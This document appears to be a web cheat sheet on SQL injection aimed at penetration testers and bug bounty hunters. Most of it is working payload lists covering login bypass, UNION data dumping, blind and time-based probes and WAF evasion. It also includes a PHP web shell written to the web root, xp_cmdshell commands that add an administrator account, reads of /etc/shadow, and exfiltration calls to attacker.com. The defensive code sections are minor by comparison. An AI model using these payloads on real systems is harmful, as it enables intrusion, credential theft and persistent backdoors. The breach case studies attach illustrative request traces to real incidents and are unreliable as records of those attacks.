SQL Injection (SQLi) is one of the oldest yet most effective vulnerabilities in web application security. It occurs when user input is directly inserted into SQL queries without proper validation or sanitization, allowing attackers to manipulate the database — from bypassing logins to dumping sensitive data or even gaining full control of the backend.
This SQL Injection Cheat Sheet is designed for ethical hackers, penetration testers, and bug bounty hunters. It provides a quick reference to practical payloads, error-based and blind SQLi techniques, WAF bypass methods, and advanced exploitation tricks — all in one place for efficient testing and learning.
What is SQL Injection?
SQL Injection represents one of the most critical security vulnerabilities in modern web applications, consistently ranking within the OWASP Top 10 security risks. This sophisticated attack technique involves injecting malicious SQL code into application databases through vulnerable input fields, potentially compromising entire systems and exposing sensitive data to unauthorized access.
Read Also: Complete Nmap Commands Cheat Sheet 2025 + PDF
Technical Definition
SQL Injection is a code injection technique that exploits security vulnerabilities in database-driven applications. Attackers leverage improperly validated user inputs to inject malicious SQL statements into application queries, enabling them to:
- Bypass authentication mechanisms
- Extract sensitive database information
- Modify or delete critical data
- Execute administrative operations
- Gain unauthorized system access
Root Causes of SQL Injection Vulnerabilities
The fundamental causes of SQL injection vulnerabilities include:
- Insufficient Input Validation: Applications fail to properly validate and sanitize user inputs
- Dynamic Query Construction: SQL queries built using string concatenation with user input
- Inadequate Error Handling: Database errors exposed to end users reveal system information
- Excessive Database Privileges: Application database users granted unnecessary permissions
- Lack of Security Awareness: Developers insufficient training in secure coding practices
Business Impact Assessment
Organizations face severe consequences when SQL injection vulnerabilities are exploited:
Financial Implications:
- Direct monetary losses from data breaches
- Regulatory fines and legal penalties
- Business continuity disruption costs
- Brand reputation damage and customer loss
Operational Consequences:
- System downtime and service interruptions
- Data integrity compromise
- Unauthorized access to proprietary information
- Compliance violations and audit failures
SQL Injection Attack Types
1. In-Band SQL Injection
In-band SQL injection represents the most common attack vector where attackers use the same communication channel for both launching attacks and gathering results.
Error-Based SQL Injection
Error-based attacks exploit database error messages to extract information about the underlying database structure.
Attack Methodology:
SELECT * FROM users WHERE id = ‘$user_id’
1′ AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>0
SELECT * FROM users WHERE id = ‘1’ AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>0
Union-Based SQL Injection
Union-based attacks leverage the SQL UNION operator to combine results from multiple SELECT statements.
Technical Implementation:
1′ UNION SELECT NULL
1′ UNION SELECT NULL,NULL
1′ UNION SELECT NULL,NULL,NULL
1′ UNION SELECT username,password,email FROM users
1′ UNION SELECT table_name,column_name,data_type FROM information_schema.columns
2. Inferential SQL Injection (Blind)
Blind SQL injection attacks occur when applications are vulnerable but do not display database errors or data directly to attackers.
Boolean-Based Blind SQL Injection
Attackers infer information based on application responses to true/false conditions.
Attack Pattern:
1′ AND (SELECT COUNT(*) FROM users) > 0
1′ AND (SELECT COUNT(*) FROM users) = 0
1′ AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1) = ‘a’
Time-Based Blind SQL Injection
Time-based attacks measure application response times to infer database information.
Implementation Examples:
1′ AND (SELECT SLEEP(10))
1′ AND (SELECT pg_sleep(10))
1′; WAITFOR DELAY ’00:00:10′
1′ AND (SELECT dbms_lock.sleep(10) FROM dual)
3. Out-of-Band SQL Injection
Out-of-band attacks use alternative communication channels to extract data when in-band methods are not viable.
Read Also: Complete 2025 Best Python Cheat Sheet
DNS Exfiltration Example:
1′ AND (SELECT load_file(concat(‘\\\\\\\\’, (SELECT password FROM users WHERE id=1), ‘.attacker.com\\\\share’)))
1′ AND (SELECT load_file(concat(‘http://attacker.com/collect.php?data=’, (SELECT password FROM users WHERE id=1))))
SQL Injection Examples
Example 1: Authentication Bypass
Vulnerable Authentication System:
$username = $_POST[‘username’];
$password = $_POST[‘password’];
$query = “SELECT * FROM users WHERE username = ‘$username‘ AND password = ‘$password‘”;
$result = mysqli_query($connection, $query);
if (mysqli_num_rows($result) > 0) {
echo “Login successful”;
} else {
echo “Invalid credentials”;
}
Attack Execution:
Username: admin’ OR ‘1’=’1′ —
Password: [anything]
SELECT * FROM users WHERE username = ‘admin’ OR ‘1’=‘1’ AND password = ‘[anything]’
Example 2: Data Extraction Attack
Vulnerable Search Function:
$search_term = $_GET[‘search’];
$query = “SELECT * FROM products WHERE name LIKE ‘%$search_term%'”;
$result = mysqli_query($connection, $query);
Attack Implementation:
search=‘ UNION SELECT table_name,column_name,data_type FROM information_schema.columns —
SELECT * FROM products WHERE name LIKE ‘%’ UNION SELECT table_name,column_name,data_type FROM information_schema.columns
Example 3: Privilege Escalation
Vulnerable Administrative Function:
$user_id = $_GET[‘id’];
$query = “SELECT * FROM users WHERE id = $user_id“;
$result = mysqli_query($connection, $query);
Attack Sequence:
id=1 UNION SELECT username,password,role FROM users WHERE role=‘admin’
id=1; UPDATE users SET role=‘admin’ WHERE username=‘attacker’
id=1; INSERT INTO users (username,password,role) VALUES (‘backdoor’,‘hash’,‘admin’)
Example 4: File System Manipulation
Advanced File Operations:
1‘ UNION SELECT LOAD_FILE(‘/etc/passwd’)
1‘ UNION SELECT ‘<?php system($_GET[“cmd”]); ?>’ INTO OUTFILE ‘/var/www/html/shell.php’;
SELECT username,password FROM users INTO OUTFILE ‘/tmp/users.txt’;
SELECT 0x3c3f70687020706870696e666f28293b203f3e INTO DUMPFILE ‘/var/www/html/info.php’;
MySQL-Specific Functions
SELECT SUBSTRING(‘password’, 1, 4);
SELECT MID(‘password’, 1, 4);
SELECT LEFT(‘password’, 4);
SELECT RIGHT(‘password’, 4);
SELECT CONCAT(‘user’, ‘:’, ‘pass’);
SELECT GROUP_CONCAT(username SEPARATOR ‘:’);
SELECT ASCII(‘A’);
SELECT CHAR(65);
SELECT HEX(‘admin’);
SELECT UNHEX(‘61646d696e’);
SELECT BIN(255);
SELECT OCT(255);
SELECT IF(1=1, ‘true’, ‘false’);
SELECT CASE WHEN 1=1 THEN ‘true’ ELSE ‘false’ END;
SELECT NULLIF(1, 1);
SELECT COALESCE(NULL, ‘default’);
SELECT NOW();
SELECT SLEEP(5);
SELECT BENCHMARK(1000000, MD5(‘test’));
2. PostgreSQL-Specific Techniques
PostgreSQL System Information
SELECT version();
SELECT current_database();
SELECT current_user;
SELECT session_user;
SELECT user;
SELECT current_schema();
SELECT inet_server_addr();
SELECT inet_server_port();
SELECT pg_backend_pid();
SELECT datname FROM pg_database;
SELECT schemaname FROM pg_tables;
SELECT tablename FROM pg_tables WHERE schemaname = ‘public’;
SELECT column_name FROM information_schema.columns WHERE table_name = ‘users’;
PostgreSQL File Operations
SELECT pg_read_file(‘/etc/passwd’);
SELECT pg_read_file(‘pg_hba.conf’);
SELECT pg_read_binary_file(‘/etc/shadow’);
SELECT pg_ls_dir(‘/tmp’);
SELECT pg_ls_dir(‘/var/log’);
SELECT pg_stat_file(‘/etc/passwd’);
PostgreSQL-Specific Functions
SELECT substring(‘password’, 1, 4);
SELECT position(‘pass’ in ‘password’);
SELECT split_part(‘user:pass’, ‘:’, 1);
SELECT regexp_replace(‘password’, ‘pass’, ‘word’);
SELECT ascii(‘A’);
SELECT chr(65);
SELECT encode(‘admin’, ‘hex’);
SELECT decode(‘61646d696e’, ‘hex’);
SELECT encode(‘admin’, ‘base64’);
SELECT decode(‘YWRtaW4=’, ‘base64’);
SELECT array_to_string(array[‘user’, ‘pass’], ‘:’);
SELECT string_to_array(‘user:pass’, ‘:’);
SELECT now();
SELECT pg_sleep(5);
SELECT extract(epoch from now());
3. SQL Server-Specific Techniques
SQL Server System Information
SELECT @@version;
SELECT @@servername;
SELECT @@servicename;
SELECT db_name();
SELECT user_name();
SELECT system_user;
SELECT suser_name();
SELECT host_name();
SELECT @@language;
SELECT name FROM master.dbo.sysdatabases;
SELECT name FROM sys.databases;
SELECT name FROM sysobjects WHERE xtype = ‘U’;
SELECT name FROM sys.tables;
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘users’);
SQL Server Extended Stored Procedures
EXEC xp_cmdshell ‘dir C:\’;
EXEC xp_cmdshell ‘net user hacker password123 /add’;
EXEC xp_cmdshell ‘net localgroup administrators hacker /add’;
EXEC xp_regread ‘HKEY_LOCAL_MACHINE’, ‘SOFTWARE\Microsoft\Windows NT\CurrentVersion’, ‘ProductName’;
EXEC xp_regwrite ‘HKEY_LOCAL_MACHINE’, ‘SOFTWARE\Microsoft\Windows NT\CurrentVersion’, ‘TestValue’, ‘REG_SZ’, ‘TestData’;
EXEC xp_dirtree ‘C:\’, 1, 1;
EXEC xp_fileexist ‘C:\Windows\System32\cmd.exe’;
EXEC xp_getnetname;
EXEC xp_servicecontrol ‘start’, ‘schedule’;
SQL Server-Specific Functions
SELECT SUBSTRING(‘password’, 1, 4);
SELECT CHARINDEX(‘pass’, ‘password’);
SELECT LEFT(‘password’, 4);
SELECT RIGHT(‘password’, 4);
SELECT REVERSE(‘password’);
SELECT STUFF(‘password’, 1, 4, ‘word’);
SELECT ASCII(‘A’);
SELECT CHAR(65);
SELECT CONVERT(varbinary, ‘admin’);
SELECT CAST(‘admin’ AS varbinary);
SELECT GETDATE();
SELECT WAITFOR DELAY ’00:00:05′;
SELECT DATEDIFF(second, ‘1970-01-01’, GETDATE());
4. Oracle-Specific Techniques
Oracle System Information
SELECT banner FROM v$version;
SELECT user FROM dual;
SELECT sys_context(‘userenv’, ‘current_user’) FROM dual;
SELECT sys_context(‘userenv’, ‘session_user’) FROM dual;
SELECT sys_context(‘userenv’, ‘database_name’) FROM dual;
SELECT sys_context(‘userenv’, ‘server_host’) FROM dual;
SELECT table_name FROM all_tables;
SELECT table_name FROM user_tables;
SELECT column_name FROM all_tab_columns WHERE table_name = ‘USERS’;
SELECT owner, table_name FROM all_tables WHERE owner = ‘HR’;
Oracle PL/SQL Injection
BEGIN
EXECUTE IMMEDIATE ‘GRANT DBA TO PUBLIC’;
END;
DECLARE
c SYS_REFCURSOR;
output VARCHAR2(4000);
BEGIN
OPEN c FOR ‘SELECT password FROM users WHERE username = ”admin”’;
FETCH c INTO output;
DBMS_OUTPUT.PUT_LINE(output);
END;
BEGIN
SELECT password INTO :output FROM users WHERE username = ‘admin’;
EXCEPTION
WHEN NO_DATA_FOUND THEN
SELECT ‘No data found’ INTO :output FROM dual;
END;
Oracle-Specific Functions
SELECT SUBSTR(‘password’, 1, 4) FROM dual;
SELECT INSTR(‘password’, ‘pass’) FROM dual;
SELECT LENGTH(‘password’) FROM dual;
SELECT UPPER(‘password’) FROM dual;
SELECT LOWER(‘PASSWORD’) FROM dual;
SELECT CONCAT(‘user’, ‘pass’) FROM dual;
SELECT ASCII(‘A’) FROM dual;
SELECT CHR(65) FROM dual;
SELECT RAWTOHEX(‘admin’) FROM dual;
SELECT HEXTORAW(‘61646d696e’) FROM dual;
SELECT UTL_RAW.CAST_TO_VARCHAR2(UTL_ENCODE.BASE64_ENCODE(UTL_RAW.CAST_TO_RAW(‘admin’))) FROM dual;
SELECT SYSDATE FROM dual;
SELECT SYSTIMESTAMP FROM dual;
SELECT EXTRACT(YEAR FROM SYSDATE) FROM dual;
Real-World Case Studies
Case Study 1: Heartland Payment Systems (2008)
Attack Overview
- Target: Heartland Payment Systems
- Impact: 130 million payment card records compromised
- Financial Loss: Over $200 million
- Attack Vector: SQL injection vulnerability in web application
- Duration: 2007-2008 (undetected for months)
Technical Analysis
GET /search.php?product_id=1
GET /search.php?product_id=1′ UNION SELECT @@version,database(),user()–
GET /search.php?product_id=1′ UNION SELECT table_name FROM information_schema.tables–
GET /search.php?product_id=1′ UNION SELECT card_number,expiry_date,cvv FROM payment_cards–
Attack Progression
- Initial Access: SQL injection in customer-facing web application
- Reconnaissance: Database structure enumeration
- Privilege Escalation: Exploiting database user permissions
- Lateral Movement: Accessing internal network segments
- Data Exfiltration: Systematic extraction of payment card data
- Persistence: Installing malware for continued access
Lessons Learned
- Implement comprehensive input validation
- Use parameterized queries exclusively
- Deploy database activity monitoring
- Segment network architecture
- Establish incident response procedures
Case Study 2: Sony Pictures Entertainment (2011)
Attack Overview
- Target: Sony Pictures Entertainment
- Impact: 1 million user accounts compromised
- Data Exposed: Personal information, passwords, email addresses
- Root Cause: Multiple SQL injection vulnerabilities
- Public Disclosure: High-profile media coverage
Technical Details
SELECT user_id, username, password FROM users WHERE username = ‘$username’ AND password = ‘$password’
username: admin’ OR ‘1’=’1′ —
password: [anything]
SELECT user_id, username, password FROM users WHERE username = ‘admin’ OR ‘1’=‘1’ AND password = ‘[anything]’
username: ‘ UNION SELECT username,password,email FROM users–
password: [anything]
Security Failures
- Unvalidated user input in authentication system
- Weak password hashing (plaintext storage)
- Insufficient database access controls
- Lack of intrusion detection systems
- Inadequate security testing procedures
Remediation Measures
class SecureAuthentication {
private $pdo;
public function authenticateUser($username, $password) {
if (!$this->validateInput($username, $password)) {
return false;
}
$stmt = $this->pdo->prepare(“SELECT user_id, username, password_hash FROM users WHERE username = ? AND active = 1”);
$stmt->execute([$username]);
$user = $stmt->fetch();
if ($user && password_verify($password, $user[‘password_hash’])) {
return $user;
}
return false;
}
private function validateInput($username, $password) {
if (strlen($username) > 50 || strlen($password) > 100) {
return false;
}
if (!preg_match(‘/^[a-zA-Z0-9_-]+$/’, $username)) {
return false;
}
return true;
}
}
Case Study 3: TalkTalk (2015)
Attack Overview
- Target: TalkTalk (UK telecommunications company)
- Impact: 4 million customer records at risk
- Data Compromised: Names, addresses, phone numbers, bank details
- Attack Method: SQL injection through website contact form
- Regulatory Fine: £400,000 by Information Commissioner’s Office
Technical Analysis
Attack Timeline
- Reconnaissance: Automated scanning of web application
- Vulnerability Discovery: SQL injection in contact form
- Exploitation: Systematic database enumeration
- Data Extraction: Customer and financial data theft
- Public Disclosure: Company announcement of breach
- Regulatory Investigation: ICO investigation and fine
Prevention Strategies
SQL Injection Cheat Sheet
MySQL SQL Injection Reference
System Information Extraction
‘ UNION SELECT @@version —
‘ UNION SELECT version() —
‘ UNION SELECT database() —
‘ UNION SELECT user() —
‘ UNION SELECT current_user() —
‘ UNION SELECT system_user() —
‘ UNION SELECT schema_name FROM information_schema.schemata —
‘ UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() —
‘ UNION SELECT column_name FROM information_schema.columns WHERE table_name=’users’ —
Advanced Data Extraction
File System Operations
‘ UNION SELECT LOAD_FILE(‘/etc/passwd’) —
‘ UNION SELECT LOAD_FILE(‘C:\\Windows\\System32\\drivers\\etc\\hosts’) —
‘ UNION SELECT ‘malicious_content’ INTO OUTFILE ‘/tmp/test.txt’ —
‘ UNION SELECT ‘<?php phpinfo(); ?>‘ INTO OUTFILE ‘/var/www/html/info.php’ —
‘ UNION SELECT sys_eval(‘ls -la /tmp’) —
PostgreSQL SQL Injection Reference
System Information
‘ UNION SELECT version() —
‘ UNION SELECT current_database() —
‘ UNION SELECT current_user —
‘ UNION SELECT datname FROM pg_database —
‘ UNION SELECT tablename FROM pg_tables —
‘ UNION SELECT column_name FROM information_schema.columns WHERE table_name=‘users’ —
Advanced PostgreSQL Techniques
‘ UNION SELECT pg_read_file(‘/etc/passwd’) —
‘ UNION SELECT pg_ls_dir(‘/tmp’) —
‘ UNION SELECT pg_sleep(10) —
‘ UNION SELECT lo_import(‘/etc/passwd’) —
SQL Server SQL Injection Reference
System Information
‘ UNION SELECT @@version —
‘ UNION SELECT db_name() —
‘ UNION SELECT system_user —
‘ UNION SELECT user_name() —
‘ UNION SELECT name FROM master.dbo.sysdatabases —
‘ UNION SELECT name FROM sysobjects WHERE xtype=‘U’ —
‘ UNION SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name=‘users’) —
Advanced SQL Server Techniques
‘ UNION SELECT null; EXEC xp_cmdshell(‘dir’) —
‘ UNION SELECT null; EXEC xp_regread ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion’,‘ProductName’ —
‘ UNION SELECT null; EXEC xp_dirtree ‘C:\\’ —
‘ UNION SELECT null; EXEC xp_servicecontrol ‘start’,‘schedule’ —
Oracle SQL Injection Reference
System Information
‘ UNION SELECT banner FROM v$version —
‘ UNION SELECT ora_database_name FROM dual —
‘ UNION SELECT user FROM dual —
‘ UNION SELECT table_name FROM user_tables —
‘ UNION SELECT column_name FROM user_tab_columns WHERE table_name=‘USERS’ —
Advanced Oracle Techniques
‘; BEGIN EXECUTE IMMEDIATE ‘GRANT DBA TO PUBLIC’; END; —
‘ UNION SELECT utl_file.get_line(‘DIRECTORY’,‘filename’) FROM dual —
‘ UNION SELECT utl_http.request(‘http://attacker.com/collect.php?data=’||password) FROM users —
‘ UNION SELECT extractvalue(xmltype(‘<?xml version=”1.0″?><!DOCTYPE root [<!ENTITY % remote SYSTEM “http://attacker.com/evil.dtd”> %remote;]>’),’/root’) FROM dual —
SQL Injection Prevention
1. Parameterized Queries Implementation
Parameterized queries represent the most effective defense against SQL injection attacks by separating SQL code from user data.
PHP Implementation with PDO
class SecureDatabase {
private $pdo;
public function __construct($dsn, $username, $password) {
try {
$this->pdo = new PDO($dsn, $username, $password, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => false,
PDO::ATTR_STRINGIFY_FETCHES => false
]);
} catch (PDOException $e) {
throw new Exception(“Database connection failed: “ . $e->getMessage());
}
}
public function authenticateUser($username, $password) {
$stmt = $this->pdo->prepare(“SELECT id, username, password_hash, role FROM users WHERE username = ? AND active = 1”);
$stmt->execute([$username]);
$user = $stmt->fetch();
if ($user && password_verify($password, $user[‘password_hash’])) {
return $user;
}
return false;
}
public function searchProducts($keyword, $category, $limit = 10) {
$stmt = $this->pdo->prepare(“
SELECT id, name, description, price
FROM products
WHERE name LIKE ? AND category = ?
ORDER BY name
LIMIT ?
“);
$stmt->execute([
‘%’ . $keyword . ‘%’,
$category,
$limit
]);
return $stmt->fetchAll();
}
}
Java Implementation with PreparedStatement
public class SecureDatabaseAccess {
private Connection connection;
public SecureDatabaseAccess(String url, String username, String password)
throws SQLException {
this.connection = DriverManager.getConnection(url, username, password);
}
public User authenticateUser(String username, String password)
throws SQLException {
String sql = “SELECT id, username, password_hash, role FROM users WHERE username = ? AND active = 1”;
try (PreparedStatement stmt = connection.prepareStatement(sql)) {
stmt.setString(1, username);
try (ResultSet rs = stmt.executeQuery()) {
if (rs.next()) {
User user = new User();
user.setId(rs.getInt(“id”));
user.setUsername(rs.getString(“username”));
user.setPasswordHash(rs.getString(“password_hash”));
user.setRole(rs.getString(“role”));
if (BCrypt.checkpw(password, user.getPasswordHash())) {
return user;
}
}
}
}
return null;
}
public List<Product> searchProducts(String keyword, String category, int limit)
throws SQLException {
String sql = “SELECT id, name, description, price FROM products WHERE name LIKE ? AND category = ? ORDER BY name LIMIT ?”;
try (PreparedStatement stmt = connection.prepareStatement(sql)) {
stmt.setString(1, “%” + keyword + “%”);
stmt.setString(2, category);
stmt.setInt(3, limit);
try (ResultSet rs = stmt.executeQuery()) {
List<Product> products = new ArrayList<>();
while (rs.next()) {
Product product = new Product();
product.setId(rs.getInt(“id”));
product.setName(rs.getString(“name”));
product.setDescription(rs.getString(“description”));
product.setPrice(rs.getBigDecimal(“price”));
products.add(product);
}
return products;
}
}
}
}
Python Implementation with SQLAlchemy
from sqlalchemy import create_engine, text
from sqlalchemy.orm import sessionmaker
from werkzeug.security import check_password_hash
import logging
class SecureDatabase:
def __init__(self, connection_string):
self.engine = create_engine(
connection_string,
echo=False,
pool_pre_ping=True,
pool_recycle=3600
)
self.Session = sessionmaker(bind=self.engine)
def authenticate_user(self, username, password):
“””Secure user authentication with parameterized queries”””
session = self.Session()
try:
query = text(“SELECT id, username, password_hash, role FROM users WHERE username = :username AND active = 1”)
result = session.execute(query, {“username”: username})
user = result.fetchone()
if user and check_password_hash(user.password_hash, password):
return {
‘id’: user.id,
‘username’: user.username,
‘role’: user.role
}
return None
except Exception as e:
logging.error(f”Authentication error: {e}”)
return None
finally:
session.close()
def search_products(self, keyword, category, limit=10):
“””Secure product search with input validation”””
session = self.Session()
try:
if not isinstance(limit, int) or limit <= 0 or limit > 100:
limit = 10
query = text(“””
SELECT id, name, description, price
FROM products
WHERE name LIKE :keyword AND category = :category
ORDER BY name
LIMIT :limit
“””)
result = session.execute(query, {
“keyword”: f”%{keyword}%”,
“category”: category,
“limit”: limit
})
return [dict(row) for row in result.fetchall()]
except Exception as e:
logging.error(f”Search error: {e}”)
return []
finally:
session.close()
2. Input Validation and Sanitization
Comprehensive input validation serves as a critical defense layer against SQL injection attacks.
Advanced Input Validation Framework
<?php
class InputValidator {
private static $patterns = [
‘id’ => ‘/^[1-9]\d*$/’,
‘username’ => ‘/^[a-zA-Z0-9_-]{3,20}$/’,
’email’ => ‘/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/’,
‘alphanumeric’ => ‘/^[a-zA-Z0-9\s]+$/’,
‘safe_string’ => ‘/^[a-zA-Z0-9\s\-_.,!?]+$/’
];
private static $sql_keywords = [
‘SELECT’, ‘INSERT’, ‘UPDATE’, ‘DELETE’, ‘DROP’, ‘CREATE’, ‘ALTER’,
‘UNION’, ‘OR’, ‘AND’, ‘WHERE’, ‘FROM’, ‘INTO’, ‘VALUES’, ‘SET’,
‘EXEC’, ‘EXECUTE’, ‘SCRIPT’, ‘DECLARE’, ‘CAST’, ‘CONVERT’
];
public static function validateInput($input, $type, $maxLength = null) {
if ($input === null || $input === ”) {
throw new InvalidArgumentException(“Input cannot be null or empty”);
}
if ($maxLength && strlen($input) > $maxLength) {
throw new InvalidArgumentException(“Input exceeds maximum length”);
}
if (isset(self::$patterns[$type])) {
if (!preg_match(self::$patterns[$type], $input)) {
throw new InvalidArgumentException(“Invalid input format for type: $type”);
}
}
$upperInput = strtoupper($input);
foreach (self::$sql_keywords as $keyword) {
if (strpos($upperInput, $keyword) !== false) {
throw new SecurityException(“Potential SQL injection detected”);
}
}
return htmlspecialchars($input, ENT_QUOTES, ‘UTF-8’);
}
}
try {
$userId = InputValidator::validateInput($_GET[‘user_id’] ?? ”, ‘id’);
if (!$userId) {
http_response_code(400);
exit(‘Invalid user ID’);
}
$clientIP = $_SERVER[‘REMOTE_ADDR’] ?? ”;
if (!RateLimiter::checkLimit($clientIP)) {
http_response_code(429);
exit(‘Too many requests’);
}
echo htmlspecialchars(“User ID: $userId”, ENT_QUOTES, ‘UTF-8’);
} catch (Exception $e) {
error_log(“Application error: “ . $e->getMessage());
http_response_code(500);
exit(‘Internal server error’);
}
?>
SQL Injection Payloads
Authentication Bypass Payloads
Universal Authentication Bypass
‘ OR ‘1’=’1
‘ OR 1=1 —
‘ OR ‘a’=’a
‘ OR ”=’
admin’ —
admin’/*
‘ OR 1=1#
‘ OR 1=1;%00
‘ OR 1=1 LIMIT 1 —
‘ OR 1=1 ORDER BY 1 —
‘) OR ‘1’=’1
‘) OR (‘1’=’1
‘)) OR ((‘1’=’1
‘))) OR (((‘1’=’1
‘ OR ‘1’=’1′ —
‘ OR ‘1’=’1′ /*
‘ OR ‘1’=’1′ #
‘ OR ‘1’=’1′;%00
admin’%00
admin’%00–
‘ OR 1=1%00
‘ OR 1=1;%00
‘ OR 1=1 AND ‘1’=’1
‘ OR 1=1 AND 1=1 —
‘ OR ‘admin’=’admin
‘ OR true —
‘ OR 1 —
‘ OR 1=1 UNION SELECT 1 —
‘ OR SLEEP(1) —
‘ OR pg_sleep(1) —
‘; WAITFOR DELAY ’00:00:01’ —
‘ OR BENCHMARK(1000000,MD5(1)) —
Database-Specific Bypass Payloads
‘ OR 1=1 LIMIT 1 —
‘ OR ‘1’=’1′ LIMIT 1 —
admin’ OR ‘1’=’1′ LIMIT 1 —
‘ OR 1=1 INTO OUTFILE ‘/tmp/test.txt’ —
‘ OR 1=1 UNION SELECT @@version —
‘ OR 1=1 LIMIT 1 —
‘ OR ‘1’=’1′ LIMIT 1 —
‘ OR 1=1 OFFSET 0 —
‘ OR 1=1 AND 1=1 —
‘ OR current_user=’admin’ —
‘ OR 1=1 —
‘ OR ‘1’=’1′ —
admin’ OR ‘1’=’1′ —
‘ OR 1=1; —
‘ OR 1=1 SELECT @@version —
‘ OR ‘1’=’1
‘ OR 1=1 —
‘ OR ‘admin’=’admin
‘ OR 1=1 AND ROWNUM=1 —
‘ OR 1=1 UNION SELECT null FROM dual —
Data Extraction Payloads
Information Schema Exploitation
‘ UNION SELECT schema_name,null,null FROM information_schema.schemata —
‘ UNION SELECT database(),version(),user() —
‘ UNION SELECT @@version,@@datadir,@@hostname —
‘ UNION SELECT table_name,table_schema,null FROM information_schema.tables —
‘ UNION SELECT table_name,null,null FROM information_schema.tables WHERE table_schema=database() —
‘ UNION SELECT table_name,table_type,table_comment FROM information_schema.tables —
‘ UNION SELECT column_name,data_type,column_comment FROM information_schema.columns WHERE table_name=’users’ —
‘ UNION SELECT column_name,is_nullable,column_default FROM information_schema.columns WHERE table_schema=database() —
‘ UNION SELECT user(),current_user(),system_user() —
‘ UNION SELECT @@hostname,@@version_comment,@@socket —
‘ UNION SELECT user,host,password FROM mysql.user —
Data Exfiltration Techniques
‘ UNION SELECT CONCAT(username,’:’,password),null,null FROM users —
‘ UNION SELECT CONCAT(first_name,’ ‘,last_name),email,phone FROM users —
‘ UNION SELECT GROUP_CONCAT(username SEPARATOR ‘,’),null,null FROM users —
‘ UNION SELECT IF(1=1,’admin’,’user’),null,null —
‘ UNION SELECT CASE WHEN 1=1 THEN ‘admin’ ELSE ‘user’ END,null,null —
‘ UNION SELECT username,IF(role=’admin’,’ADMIN’,’USER’),null FROM users —
‘ UNION SELECT HEX(password),null,null FROM users WHERE id=1 —
‘ UNION SELECT TO_BASE64(sensitive_data),null,null FROM confidential —
‘ UNION SELECT UPPER(password),null,null FROM users —
Blind SQL Injection Payloads
Boolean-Based Blind
‘ AND 1=1 —
‘ AND 1=2 —
‘ AND ‘a’=’a —
‘ AND ‘a’=’b —
‘ AND (SELECT LENGTH(password) FROM users WHERE id=1)=8 —
‘ AND (SELECT CHAR_LENGTH(username) FROM users WHERE id=1)>5 —
‘ AND (SELECT COUNT(*) FROM users)>0 —
‘ AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_name=’users’)=1 —
‘ AND (SELECT COUNT(*) FROM information_schema.columns WHERE column_name=’password’)>0 —
‘ AND (SELECT SUBSTRING(@@version,1,1))=’5’ —
‘ AND (SELECT version()) LIKE ‘%MySQL%’ —
‘ AND (SELECT version()) LIKE ‘%PostgreSQL%’ —
Time-Based Blind
‘ AND SLEEP(5) —
‘ AND (SELECT SLEEP(5)) —
‘ AND (SELECT SLEEP(5) FROM users WHERE id=1) —
‘ AND IF(1=1,SLEEP(5),0) —
‘ AND (SELECT IF(SUBSTRING(password,1,1)=’a’,SLEEP(5),0) FROM users WHERE id=1) —
‘ AND pg_sleep(5) —
‘ AND (SELECT pg_sleep(5)) —
‘ AND (SELECT CASE WHEN 1=1 THEN pg_sleep(5) ELSE 0 END) —
‘; WAITFOR DELAY ’00:00:05’ —
‘ AND (SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END); WAITFOR DELAY ’00:00:05’ —
‘ IF (1=1) WAITFOR DELAY ’00:00:05’ —
‘ AND (SELECT dbms_lock.sleep(5) FROM dual) —
‘ AND (SELECT CASE WHEN 1=1 THEN dbms_lock.sleep(5) ELSE 0 END FROM dual) —
Advanced Evasion Payloads
WAF Bypass Techniques
UnIoN SeLeCt username,password FrOm users–
uNiOn sElEcT username,password fRoM users–
UNION SELECT username,password FROM users–
UNION%20SELECT%20username,password%20FROM%20users–
UNION%0ASELECT%0Ausername,password%0AFROM%0Ausers–
%55%4e%49%4f%4e%20%53%45%4c%45%43%54 (URL encoded UNION SELECT)
\u0055\u004e\u0049\u004f\u004e\u0020\u0053\u0045\u004c\u0045\u0043\u0054 (Unicode)
UNION SELECT CHAR(117,115,101,114,110,97,109,101),password FROM users–
UNION SELECT CONCAT(CHAR(117,115,101,114),CHAR(110,97,109,101)),password FROM users–
‘ OR 1=1 AND 1=1 —
‘ OR 1 LIKE 1 —
‘ OR 1 RLIKE 1 —
‘ OR 1 REGEXP 1 —
‘ OR 1 IN (1) —
‘ OR 1 BETWEEN 1 AND 1 —
Advanced Injection Techniques
‘ AND (SELECT * FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) —
‘ AND (SELECT * FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT user()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) —
‘ AND (SELECT LOAD_FILE(CONCAT(‘\\\\’, (SELECT password FROM users WHERE id=1), ‘.attacker.com\\share’))) —
‘ AND (SELECT LOAD_FILE(CONCAT(‘http://attacker.com/collect.php?data=’, (SELECT password FROM users WHERE id=1)))) —
‘ UNION SELECT ‘<?php system($_GET[“cmd”]); ?>’ INTO OUTFILE ‘/var/www/html/shell.php’ —
‘ UNION SELECT password FROM users INTO OUTFILE ‘/tmp/passwords.txt’ —
OWASP SQL Injection Guidelines
OWASP Top 10 2021: A03 – Injection
The Open Web Application Security Project (OWASP) categorizes SQL injection under A03: Injection in their Top 10 2021 list, representing a critical security vulnerability affecting web applications globally.
OWASP Risk Assessment Framework
Threat Agent: External attackers, malicious insiders, automated tools Attack Vector: Web application input fields, APIs, HTTP headers Security Weakness: Insufficient input validation, dynamic query construction Technical Impact: Data breach, authentication bypass, system compromise Business Impact: Financial loss, reputation damage, regulatory compliance violations
Primary Defense Strategies
1. Use of Prepared Statements (Parameterized Queries)
SELECT * FROM users WHERE id = ‘” + userId + “‘
SELECT * FROM users WHERE id = ?
statement.setInt(1, userId)
